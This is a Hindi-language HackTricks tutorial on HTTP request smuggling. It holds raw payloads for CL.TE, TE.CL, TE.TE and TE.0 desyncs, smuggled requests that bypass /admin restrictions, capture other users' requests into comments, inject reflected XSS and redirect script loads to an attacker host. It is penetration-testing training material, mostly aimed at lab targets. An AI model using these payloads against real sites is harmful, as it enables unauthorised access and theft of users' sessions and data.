HTTP Request Smuggling / HTTP Desync Attack

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

सदस्यता योजनाएँ देखें!
हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारा अनुसरण करें Twitter 🐦 @hacktricks_live.
हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।

क्या है

यह भेद्यता तब होती है जब फ्रंट-एंड प्रॉक्सी और बैक-एंड सर्वर के बीच एक डिसिंक्रोनाइजेशन एक हमलावर को एक HTTP अनुरोध भेजने की अनुमति देता है जो फ्रंट-एंड प्रॉक्सी द्वारा एकल अनुरोध के रूप में व्याख्यायित किया जाएगा (लोड बैलेंस/रिवर्स-प्रॉक्सी) और बैक-एंड सर्वर द्वारा 2 अनुरोध के रूप में। यह एक उपयोगकर्ता को उसके बाद बैक-एंड सर्वर पर आने वाले अगले अनुरोध को संशोधित करने की अनुमति देता है।

सिद्धांत

RFC विनिर्देशन (2161)

यदि एक संदेश दोनों एक Transfer-Encoding हेडर फ़ील्ड और एक Content-Length हेडर फ़ील्ड के साथ प्राप्त होता है, तो बाद वाले को अनदेखा किया जाना चाहिए।

Content-Length

Content-Length एंटिटी हेडर उस एंटिटी-शरीर के आकार को बाइट्स में इंगित करता है, जो प्राप्तकर्ता को भेजा गया है।

Transfer-Encoding: chunked

Transfer-Encoding हेडर उस एन्कोडिंग के रूप को निर्दिष्ट करता है जिसका उपयोग सुरक्षित रूप से पेलोड शरीर को उपयोगकर्ता तक पहुँचाने के लिए किया जाता है। Chunked का अर्थ है कि बड़े डेटा को कई टुकड़ों में भेजा जाता है।

वास्तविकता

फ्रंट-एंड (एक लोड-बैलेंस / रिवर्स प्रॉक्सी) content-length या transfer-encoding हेडर को प्रोसेस करता है और बैक-एंड सर्वर दूसरे को प्रोसेस करता है जिससे 2 सिस्टमों के बीच एक डिसिंक्रोनाइजेशन उत्पन्न होता है। यह बहुत महत्वपूर्ण हो सकता है क्योंकि एक हमलावर एक अनुरोध भेजने में सक्षम होगा जो रिवर्स प्रॉक्सी को 2 अलग-अलग अनुरोधों के रूप में बैक-एंड सर्वर द्वारा व्याख्यायित किया जाएगा। इस तकनीक का खतरा इस तथ्य में निहित है कि बैक-एंड सर्वर दूसरे अनुरोध को इंजेक्टेड के रूप में व्याख्यायित करेगा जैसे कि यह अगले क्लाइंट से आया हो और उस क्लाइंट का वास्तविक अनुरोध इंजेक्टेड अनुरोध का भाग होगा।

विशेषताएँ

याद रखें कि HTTP में एक नई पंक्ति का वर्ण 2 बाइट्स से बना होता है:

Content-Length: यह हेडर अनुरोध के शरीर के बाइट्स की संख्या को इंगित करने के लिए एक दशमलव संख्या का उपयोग करता है। शरीर को अंतिम वर्ण में समाप्त होने की उम्मीद है, अनुरोध के अंत में एक नई पंक्ति की आवश्यकता नहीं है।
Transfer-Encoding: यह हेडर शरीर में एक हेक्साडेसिमल संख्या का उपयोग करता है जो अगले टुकड़े के बाइट्स की संख्या को इंगित करता है। टुकड़ा को नई पंक्ति के साथ समाप्त होना चाहिए लेकिन यह नई पंक्ति लंबाई संकेतक द्वारा नहीं गिनी जाती। इस ट्रांसफर विधि को 0 आकार के टुकड़े के साथ समाप्त होना चाहिए जिसके बाद 2 नई पंक्तियाँ हों: 0
Connection: मेरे अनुभव के आधार पर, अनुरोध स्मगलिंग के पहले अनुरोध पर Connection: keep-alive का उपयोग करने की सिफारिश की जाती है।

बुनियादी उदाहरण

जब Burp Suite के साथ इसका शोषण करने की कोशिश कर रहे हों, तो Update Content-Length और Normalize HTTP/1 line endings को रिपीटर में बंद करें क्योंकि कुछ गैजेट नई पंक्तियों, कैरिज रिटर्न और गलत सामग्री-लंबाई का दुरुपयोग करते हैं।

HTTP अनुरोध स्मगलिंग हमले अस्पष्ट अनुरोध भेजकर तैयार किए जाते हैं जो Content-Length (CL) और Transfer-Encoding (TE) हेडरों की व्याख्या में फ्रंट-एंड और बैक-एंड सर्वरों के बीच असमानताओं का लाभ उठाते हैं। ये हमले विभिन्न रूपों में प्रकट हो सकते हैं, मुख्य रूप से CL.TE, TE.CL, और TE.TE के रूप में। प्रत्येक प्रकार उन हेडरों को प्राथमिकता देने के तरीके का एक अनूठा संयोजन दर्शाता है। भेद्यताएँ तब उत्पन्न होती हैं जब सर्वर एक ही अनुरोध को विभिन्न तरीकों से प्रोसेस करते हैं, जिससे अप्रत्याशित और संभावित रूप से दुर्भावनापूर्ण परिणाम होते हैं।

भेद्यता प्रकारों के बुनियादी उदाहरण

पिछले तालिका में आपको TE.0 तकनीक जोड़नी चाहिए, जैसे CL.0 तकनीक लेकिन Transfer Encoding का उपयोग करते हुए।

CL.TE भेद्यता (फ्रंट-एंड द्वारा Content-Length का उपयोग, बैक-एंड द्वारा Transfer-Encoding का उपयोग)

फ्रंट-एंड (CL): Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करता है।
बैक-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध को प्रोसेस करता है।
हमला परिदृश्य:
हमलावर एक अनुरोध भेजता है जहाँ Content-Length हेडर का मान वास्तविक सामग्री की लंबाई से मेल नहीं खाता।
फ्रंट-एंड सर्वर Content-Length मान के आधार पर पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
बैक-एंड सर्वर Transfer-Encoding: chunked हेडर के कारण अनुरोध को टुकड़ों के रूप में प्रोसेस करता है, शेष डेटा को एक अलग, अगला अनुरोध के रूप में व्याख्यायित करता है।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL भेद्यता (फ्रंट-एंड द्वारा Transfer-Encoding का उपयोग, बैक-एंड द्वारा Content-Length का उपयोग)

फ्रंट-एंड (TE): Transfer-Encoding हेडर के आधार पर अनुरोध को प्रोसेस करता है।
बैक-एंड (CL): Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करता है।
हमला परिदृश्य:
हमलावर एक टुकड़ा अनुरोध भेजता है जहाँ टुकड़े का आकार (7b) और वास्तविक सामग्री की लंबाई (Content-Length: 4) मेल नहीं खाती।
फ्रंट-एंड सर्वर, Transfer-Encoding का सम्मान करते हुए, पूरे अनुरोध को बैक-एंड को अग्रेषित करता है।
बैक-एंड सर्वर, Content-Length का सम्मान करते हुए, केवल अनुरोध के प्रारंभिक भाग (7b बाइट्स) को प्रोसेस करता है, शेष को एक अनपेक्षित अगला अनुरोध के भाग के रूप में छोड़ देता है।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE भेद्यता (दोनों द्वारा Transfer-Encoding का उपयोग, साथ में अस्पष्टता)

सर्वर: दोनों Transfer-Encoding का समर्थन करते हैं, लेकिन एक को अस्पष्टता के माध्यम से अनदेखा करने के लिए धोखा दिया जा सकता है।
हमला परिदृश्य:
हमलावर अस्पष्ट Transfer-Encoding हेडरों के साथ एक अनुरोध भेजता है।
जिस सर्वर (फ्रंट-एंड या बैक-एंड) ने अस्पष्टता को पहचानने में विफलता दिखाई, वहाँ CL.TE या TE.CL भेद्यता का लाभ उठाया जा सकता है।
अनुरोध का अप्रसंस्कृत भाग, जैसा कि सर्वरों में से एक द्वारा देखा गया, एक अगला अनुरोध का भाग बन जाता है, जिससे स्मगलिंग होती है।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL परिदृश्य (फ्रंट-एंड और बैक-एंड दोनों द्वारा Content-Length का उपयोग)

दोनों सर्वर केवल Content-Length हेडर के आधार पर अनुरोध को प्रोसेस करते हैं।
यह परिदृश्य आमतौर पर स्मगलिंग की ओर नहीं ले जाता है, क्योंकि दोनों सर्वरों के अनुरोध की लंबाई की व्याख्या में संरेखण होता है।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 परिदृश्य

उन परिदृश्यों को संदर्भित करता है जहाँ Content-Length हेडर मौजूद है और इसका मान शून्य के अलावा है, यह इंगित करता है कि अनुरोध शरीर में सामग्री है। बैक-एंड Content-Length हेडर को अनदेखा करता है (जिसे 0 के रूप में माना जाता है), लेकिन फ्रंट-एंड इसे पार्स करता है।
यह समझने और स्मगलिंग हमलों को तैयार करने में महत्वपूर्ण है, क्योंकि यह प्रभावित करता है कि सर्वर अनुरोध के अंत का निर्धारण कैसे करते हैं।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 परिदृश्य

पिछले वाले की तरह लेकिन TE का उपयोग करते हुए।
तकनीक यहाँ रिपोर्ट की गई
उदाहरण:

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

वेब सर्वर को तोड़ना

यह तकनीक उन परिदृश्यों में भी उपयोगी है जहाँ प्रारंभिक HTTP डेटा पढ़ते समय एक वेब सर्वर को तोड़ना संभव है लेकिन कनेक्शन को बंद किए बिना। इस तरह, HTTP अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।

उदाहरण के लिए, जैसा कि इस लेख में समझाया गया है, Werkzeug में कुछ Unicode वर्ण भेजना संभव था और इससे सर्वर टूट जाएगा। हालाँकि, यदि HTTP कनेक्शन Connection: keep-alive हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का शरीर अगले HTTP अनुरोध के रूप में माना जाएगा।

हॉप-बाय-हॉप हेडर के माध्यम से मजबूर करना

हॉप-बाय-हॉप हेडर का दुरुपयोग करते हुए आप प्रॉक्सी को हेडर Content-Length या Transfer-Encoding को हटाने के लिए संकेत दे सकते हैं ताकि HTTP अनुरोध स्मगलिंग का दुरुपयोग संभव हो सके।

Connection: Content-Length

For अधिक जानकारी के लिए hop-by-hop headers जाएं:

hop-by-hop headers

HTTP Request Smuggling खोजना

HTTP request smuggling कमजोरियों की पहचान अक्सर समय तकनीकों का उपयोग करके की जा सकती है, जो यह देखने पर निर्भर करती हैं कि सर्वर को हेरफेर किए गए अनुरोधों का जवाब देने में कितना समय लगता है। ये तकनीकें CL.TE और TE.CL कमजोरियों का पता लगाने के लिए विशेष रूप से उपयोगी हैं। इन तरीकों के अलावा, ऐसी कमजोरियों को खोजने के लिए अन्य रणनीतियाँ और उपकरण भी हैं:

समय तकनीकों का उपयोग करके CL.TE कमजोरियों को खोजना

विधि:
एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

अवलोकन:
फ्रंट-एंड सर्वर Content-Length के आधार पर अनुरोध को संसाधित करता है और संदेश को समय से पहले काट देता है।
बैक-एंड सर्वर, जो एक चंक्ड संदेश की अपेक्षा करता है, अगले चंक की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।
संकेत:
प्रतिक्रिया में टाइमआउट या लंबी देरी।
बैक-एंड सर्वर से 400 Bad Request त्रुटि प्राप्त करना, कभी-कभी विस्तृत सर्वर जानकारी के साथ।

समय तकनीकों का उपयोग करके TE.CL कमजोरियों को खोजना

विधि:
एक अनुरोध भेजें जो, यदि एप्लिकेशन कमजोर है, तो बैक-एंड सर्वर को अतिरिक्त डेटा की प्रतीक्षा करने के लिए मजबूर करेगा।
उदाहरण:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

अवलोकन:
फ्रंट-एंड सर्वर Transfer-Encoding के आधार पर अनुरोध को संसाधित करता है और पूरे संदेश को अग्रेषित करता है।
बैक-एंड सर्वर, जो Content-Length के आधार पर एक संदेश की अपेक्षा करता है, अतिरिक्त डेटा की प्रतीक्षा करता है जो कभी नहीं आता, जिससे देरी होती है।

कमजोरियों को खोजने के अन्य तरीके

डिफरेंशियल रिस्पॉन्स एनालिसिस:
एक अनुरोध के थोड़े भिन्न संस्करण भेजें और देखें कि क्या सर्वर की प्रतिक्रियाएँ अप्रत्याशित तरीके से भिन्न होती हैं, जो एक पार्सिंग विसंगति को इंगित करती हैं।
स्वचालित उपकरणों का उपयोग:
Burp Suite के 'HTTP Request Smuggler' एक्सटेंशन जैसे उपकरण स्वचालित रूप से इन कमजोरियों का परीक्षण कर सकते हैं, विभिन्न प्रकार के अस्पष्ट अनुरोध भेजकर और प्रतिक्रियाओं का विश्लेषण करके।
Content-Length वैरिएंस परीक्षण:
ऐसे अनुरोध भेजें जिनमें भिन्न Content-Length मान हों जो वास्तविक सामग्री की लंबाई के साथ मेल नहीं खाते और देखें कि सर्वर ऐसे असंगतियों को कैसे संभालता है।
Transfer-Encoding वैरिएंस परीक्षण:
अस्पष्ट या गलत Transfer-Encoding हेडर वाले अनुरोध भेजें और देखें कि फ्रंट-एंड और बैक-एंड सर्वर ऐसे हेरफेरों पर कैसे प्रतिक्रिया करते हैं।

HTTP Request Smuggling Vulnerability Testing

समय तकनीकों की प्रभावशीलता की पुष्टि करने के बाद, यह सत्यापित करना महत्वपूर्ण है कि क्या क्लाइंट अनुरोधों को हेरफेर किया जा सकता है। एक सीधा तरीका यह है कि आप अपने अनुरोधों को विषाक्त बनाने का प्रयास करें, उदाहरण के लिए, / पर एक अनुरोध करना जिससे 404 प्रतिक्रिया प्राप्त हो। पहले चर्चा किए गए CL.TE और TE.CL उदाहरण Basic Examples में दिखाते हैं कि कैसे एक क्लाइंट के अनुरोध को विषाक्त करके 404 प्रतिक्रिया प्राप्त की जा सकती है, भले ही क्लाइंट एक अलग संसाधन तक पहुँचने का प्रयास कर रहा हो।

मुख्य विचार

अनुरोध स्मगलिंग कमजोरियों का परीक्षण करते समय अन्य अनुरोधों में हस्तक्षेप करते समय ध्यान में रखें:

अलग नेटवर्क कनेक्शन: "हमला" और "सामान्य" अनुरोधों को अलग नेटवर्क कनेक्शनों के माध्यम से भेजा जाना चाहिए। दोनों के लिए एक ही कनेक्शन का उपयोग करना कमजोरियों की उपस्थिति को मान्य नहीं करता है।
संगत URL और पैरामीटर: दोनों अनुरोधों के लिए समान URLs और पैरामीटर नामों का उपयोग करने का प्रयास करें। आधुनिक एप्लिकेशन अक्सर URL और पैरामीटर के आधार पर अनुरोधों को विशिष्ट बैक-एंड सर्वरों पर रूट करते हैं। इन्हें मेल करने से यह संभावना बढ़ती है कि दोनों अनुरोधों को एक ही सर्वर द्वारा संसाधित किया जाएगा, जो सफल हमले के लिए एक पूर्वापेक्षा है।
समय और रेसिंग स्थितियाँ: "सामान्य" अनुरोध, जो "हमला" अनुरोध से हस्तक्षेप का पता लगाने के लिए है, अन्य समवर्ती एप्लिकेशन अनुरोधों के खिलाफ प्रतिस्पर्धा करता है। इसलिए, "हमला" अनुरोध के तुरंत बाद "सामान्य" अनुरोध भेजें। व्यस्त एप्लिकेशन के लिए निर्णायक कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता हो सकती है।
लोड बैलेंसिंग चुनौतियाँ: फ्रंट-एंड सर्वर जो लोड बैलेंसर के रूप में कार्य करते हैं, अनुरोधों को विभिन्न बैक-एंड सिस्टमों में वितरित कर सकते हैं। यदि "हमला" और "सामान्य" अनुरोध विभिन्न सिस्टमों पर समाप्त होते हैं, तो हमला सफल नहीं होगा। यह लोड बैलेंसिंग पहलू कमजोरियों की पुष्टि के लिए कई प्रयासों की आवश्यकता कर सकता है।
अनपेक्षित उपयोगकर्ता प्रभाव: यदि आपका हमला अनजाने में किसी अन्य उपयोगकर्ता के अनुरोध (जो "सामान्य" अनुरोध नहीं है जिसे आपने पहचान के लिए भेजा था) को प्रभावित करता है, तो यह इंगित करता है कि आपका हमला किसी अन्य एप्लिकेशन उपयोगकर्ता को प्रभावित करता है। निरंतर परीक्षण अन्य उपयोगकर्ताओं को बाधित कर सकता है, जिससे एक सतर्क दृष्टिकोण की आवश्यकता होती है।

HTTP Request Smuggling का दुरुपयोग

HTTP Request Smuggling के माध्यम से फ्रंट-एंड सुरक्षा को दरकिनार करना

कभी-कभी, फ्रंट-एंड प्रॉक्सी सुरक्षा उपायों को लागू करती हैं, आने वाले अनुरोधों की जांच करती हैं। हालाँकि, इन उपायों को HTTP Request Smuggling का उपयोग करके दरकिनार किया जा सकता है, जिससे प्रतिबंधित एंडपॉइंट्स तक अनधिकृत पहुँच मिलती है। उदाहरण के लिए, /admin तक पहुँच बाहरी रूप से प्रतिबंधित हो सकती है, फ्रंट-एंड प्रॉक्सी सक्रिय रूप से ऐसे प्रयासों को रोकती है। फिर भी, यह प्रॉक्सी एक स्मगल्ड HTTP अनुरोध के भीतर एम्बेडेड अनुरोधों की जांच करने में विफल हो सकती है, जिससे इन प्रतिबंधों को दरकिनार करने के लिए एक छिद्र छोड़ दिया जाता है।

HTTP Request Smuggling का उपयोग करके फ्रंट-एंड सुरक्षा नियंत्रणों को दरकिनार करने के तरीके को दर्शाने वाले निम्नलिखित उदाहरणों पर विचार करें, विशेष रूप से /admin पथ को लक्षित करते हुए जो आमतौर पर फ्रंट-एंड प्रॉक्सी द्वारा संरक्षित होता है:

CL.TE उदाहरण

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In CL.TE हमले में, प्रारंभिक अनुरोध के लिए Content-Length हेडर का उपयोग किया जाता है, जबकि बाद में एम्बेडेड अनुरोध Transfer-Encoding: chunked हेडर का उपयोग करता है। फ्रंट-एंड प्रॉक्सी प्रारंभिक POST अनुरोध को संसाधित करती है लेकिन एम्बेडेड GET /admin अनुरोध की जांच करने में विफल रहती है, जिससे /admin पथ तक अनधिकृत पहुंच की अनुमति मिलती है।

TE.CL उदाहरण

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

इसके विपरीत, TE.CL हमले में, प्रारंभिक POST अनुरोध Transfer-Encoding: chunked का उपयोग करता है, और इसके बाद का एम्बेडेड अनुरोध Content-Length हेडर के आधार पर संसाधित किया जाता है। CL.TE हमले के समान, फ्रंट-एंड प्रॉक्सी स्मगल्ड GET /admin अनुरोध को नजरअंदाज कर देती है, अनजाने में प्रतिबंधित /admin पथ तक पहुंच प्रदान करती है।

फ्रंट-एंड अनुरोध पुनर्लेखन का खुलासा

ऐप्लिकेशन अक्सर एक फ्रंट-एंड सर्वर का उपयोग करते हैं ताकि आने वाले अनुरोधों को संशोधित किया जा सके इससे पहले कि उन्हें बैक-एंड सर्वर को भेजा जाए। एक सामान्य संशोधन में हेडर जोड़ना शामिल होता है, जैसे X-Forwarded-For: <IP of the client> ताकि क्लाइंट का IP बैक-एंड को भेजा जा सके। इन संशोधनों को समझना महत्वपूर्ण हो सकता है, क्योंकि यह सुरक्षाओं को बायपास करने या छिपी हुई जानकारी या एंडपॉइंट्स को उजागर करने के तरीके प्रकट कर सकता है।

यह जांचने के लिए कि प्रॉक्सी एक अनुरोध को कैसे बदलती है, एक POST पैरामीटर खोजें जिसे बैक-एंड प्रतिक्रिया में प्रतिध्वनित करता है। फिर, इस पैरामीटर का उपयोग करते हुए एक अनुरोध तैयार करें, इसे अंतिम स्थान पर रखते हुए, निम्नलिखित के समान:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

इस संरचना में, बाद के अनुरोध घटक search= के बाद जोड़े जाते हैं, जो प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर है। यह परिलक्षण बाद के अनुरोध के हेडर को उजागर करेगा।

यह महत्वपूर्ण है कि नेस्टेड अनुरोध के Content-Length हेडर को वास्तविक सामग्री की लंबाई के साथ संरेखित किया जाए। छोटे मान से शुरू करना और धीरे-धीरे बढ़ाना सलाहकार है, क्योंकि बहुत कम मान परिलक्षित डेटा को काट देगा, जबकि बहुत उच्च मान अनुरोध को त्रुटि में डाल सकता है।

यह तकनीक TE.CL भेद्यता के संदर्भ में भी लागू होती है, लेकिन अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। नई लाइन के अक्षरों की परवाह किए बिना, मान खोज पैरामीटर में जोड़े जाएंगे।

यह विधि मुख्य रूप से फ्रंट-एंड प्रॉक्सी द्वारा किए गए अनुरोध संशोधनों को समझने के लिए है, जो मूल रूप से एक आत्म-निर्देशित जांच कर रही है।

अन्य उपयोगकर्ताओं के अनुरोधों को कैप्चर करना

यह अगले उपयोगकर्ता के अनुरोधों को कैप्चर करना संभव है, एक POST ऑपरेशन के दौरान एक पैरामीटर के मान के रूप में एक विशिष्ट अनुरोध को जोड़कर। इसे इस प्रकार किया जा सकता है:

निम्नलिखित अनुरोध को एक पैरामीटर के मान के रूप में जोड़कर, आप अगले क्लाइंट के अनुरोध को स्टोर कर सकते हैं:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

इस परिदृश्य में, comment parameter का उद्देश्य एक सार्वजनिक रूप से सुलभ पृष्ठ पर एक पोस्ट की टिप्पणी अनुभाग में सामग्री को संग्रहीत करना है। परिणामस्वरूप, अगले अनुरोध की सामग्री एक टिप्पणी के रूप में दिखाई देगी।

हालांकि, इस तकनीक की सीमाएँ हैं। सामान्यतः, यह केवल उस पैरामीटर डेलिमिटर तक डेटा कैप्चर करता है जो स्मगल्ड अनुरोध में उपयोग किया जाता है। URL-encoded फॉर्म सबमिशन के लिए, यह डेलिमिटर & वर्ण है। इसका मतलब है कि पीड़ित उपयोगकर्ता के अनुरोध से कैप्चर की गई सामग्री पहले & पर रुक जाएगी, जो कि क्वेरी स्ट्रिंग का हिस्सा भी हो सकता है।

इसके अतिरिक्त, यह ध्यान देने योग्य है कि यह दृष्टिकोण TE.CL भेद्यता के साथ भी व्यवहार्य है। ऐसे मामलों में, अनुरोध को search=\r\n0 के साथ समाप्त होना चाहिए। नई लाइन वर्णों की परवाह किए बिना, मानों को खोज पैरामीटर में जोड़ा जाएगा।

HTTP request smuggling का उपयोग करके प्रतिबिंबित XSS का शोषण करना

HTTP Request Smuggling का उपयोग उन वेब पृष्ठों का शोषण करने के लिए किया जा सकता है जो Reflected XSS के प्रति संवेदनशील हैं, जो महत्वपूर्ण लाभ प्रदान करता है:

लक्षित उपयोगकर्ताओं के साथ संवाद की आवश्यकता नहीं है।
अनुरोध के उन हिस्सों में XSS का शोषण करने की अनुमति देता है जो सामान्यतः अप्राप्य होते हैं, जैसे HTTP अनुरोध हेडर।

उन परिदृश्यों में जहां एक वेबसाइट User-Agent हेडर के माध्यम से प्रतिबिंबित XSS के प्रति संवेदनशील है, निम्नलिखित पेलोड इस भेद्यता का शोषण करने का तरीका प्रदर्शित करता है:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

यह पेलोड इस कमजोरियों का लाभ उठाने के लिए संरचित है:

एक POST अनुरोध शुरू करना, जो सामान्य प्रतीत होता है, जिसमें Transfer-Encoding: chunked हेडर होता है जो स्मगलिंग की शुरुआत को इंगित करता है।
इसके बाद एक 0 आता है, जो चंक किए गए संदेश के शरीर के अंत को चिह्नित करता है।
फिर, एक स्मगल किया गया GET अनुरोध पेश किया जाता है, जहां User-Agent हेडर में एक स्क्रिप्ट, <script>alert(1)</script>, इंजेक्ट की जाती है, जो सर्वर द्वारा इस बाद के अनुरोध को संसाधित करते समय XSS को ट्रिगर करती है।

User-Agent को स्मगलिंग के माध्यम से हेरफेर करके, पेलोड सामान्य अनुरोध सीमाओं को बायपास करता है, इस प्रकार एक गैर-मानक लेकिन प्रभावी तरीके से Reflected XSS कमजोरियों का लाभ उठाता है।

HTTP/0.9

यदि उपयोगकर्ता की सामग्री एक Content-type के साथ प्रतिक्रिया में परिलक्षित होती है जैसे text/plain, तो XSS के निष्पादन को रोकता है। यदि सर्वर HTTP/0.9 का समर्थन करता है तो इसे बायपास करना संभव हो सकता है!

संस्करण HTTP/0.9 पहले 1.0 से था और केवल GET क्रियाओं का उपयोग करता है और हेडर के साथ प्रतिक्रिया नहीं करता, केवल शरीर के साथ।

इस लेख में, इसका दुरुपयोग एक अनुरोध स्मगलिंग और एक कमजोर एंडपॉइंट के साथ किया गया जो उपयोगकर्ता के इनपुट के साथ प्रतिक्रिया देगा HTTP/0.9 के साथ एक अनुरोध को स्मगल करने के लिए। प्रतिक्रिया में परिलक्षित होने वाला पैरामीटर एक नकली HTTP/1.1 प्रतिक्रिया (हेडर और शरीर के साथ) था ताकि प्रतिक्रिया में text/html के Content-Type के साथ मान्य निष्पादन योग्य JS कोड शामिल हो सके।

HTTP अनुरोध स्मगलिंग के साथ ऑन-साइट रीडायरेक्ट्स का लाभ उठाना

ऐप्लिकेशन अक्सर Host हेडर से रीडायरेक्ट URL में होस्टनेम का उपयोग करके एक URL से दूसरे URL पर रीडायरेक्ट करते हैं। यह Apache और IIS जैसे वेब सर्वरों के साथ सामान्य है। उदाहरण के लिए, बिना ट्रेलिंग स्लैश के एक फ़ोल्डर का अनुरोध करने पर रीडायरेक्ट होता है ताकि स्लैश शामिल किया जा सके:

GET /home HTTP/1.1
Host: normal-website.com

परिणाम में:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

हालांकि यह व्यवहार हानिरहित प्रतीत होता है, इसे HTTP request smuggling का उपयोग करके उपयोगकर्ताओं को एक बाहरी साइट पर पुनर्निर्देशित करने के लिए हेरफेर किया जा सकता है। उदाहरण के लिए:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

यह स्मगल किया गया अनुरोध अगले संसाधित उपयोगकर्ता अनुरोध को एक हमलावर-नियंत्रित वेबसाइट पर पुनर्निर्देशित कर सकता है:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

परिणाम में:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

इस परिदृश्य में, एक उपयोगकर्ता की JavaScript फ़ाइल के लिए अनुरोध को हाईजैक किया जाता है। हमलावर संभावित रूप से उपयोगकर्ता को दुर्भावनापूर्ण JavaScript प्रदान करके समझौता कर सकता है।

HTTP Request Smuggling के माध्यम से वेब कैश पॉइज़निंग का शोषण

वेब कैश पॉइज़निंग को निष्पादित किया जा सकता है यदि फ्रंट-एंड इन्फ्रास्ट्रक्चर के किसी भी घटक द्वारा सामग्री को कैश किया जाता है, आमतौर पर प्रदर्शन को बढ़ाने के लिए। सर्वर की प्रतिक्रिया में हेरफेर करके, कैश को पॉइज़न करना संभव है।

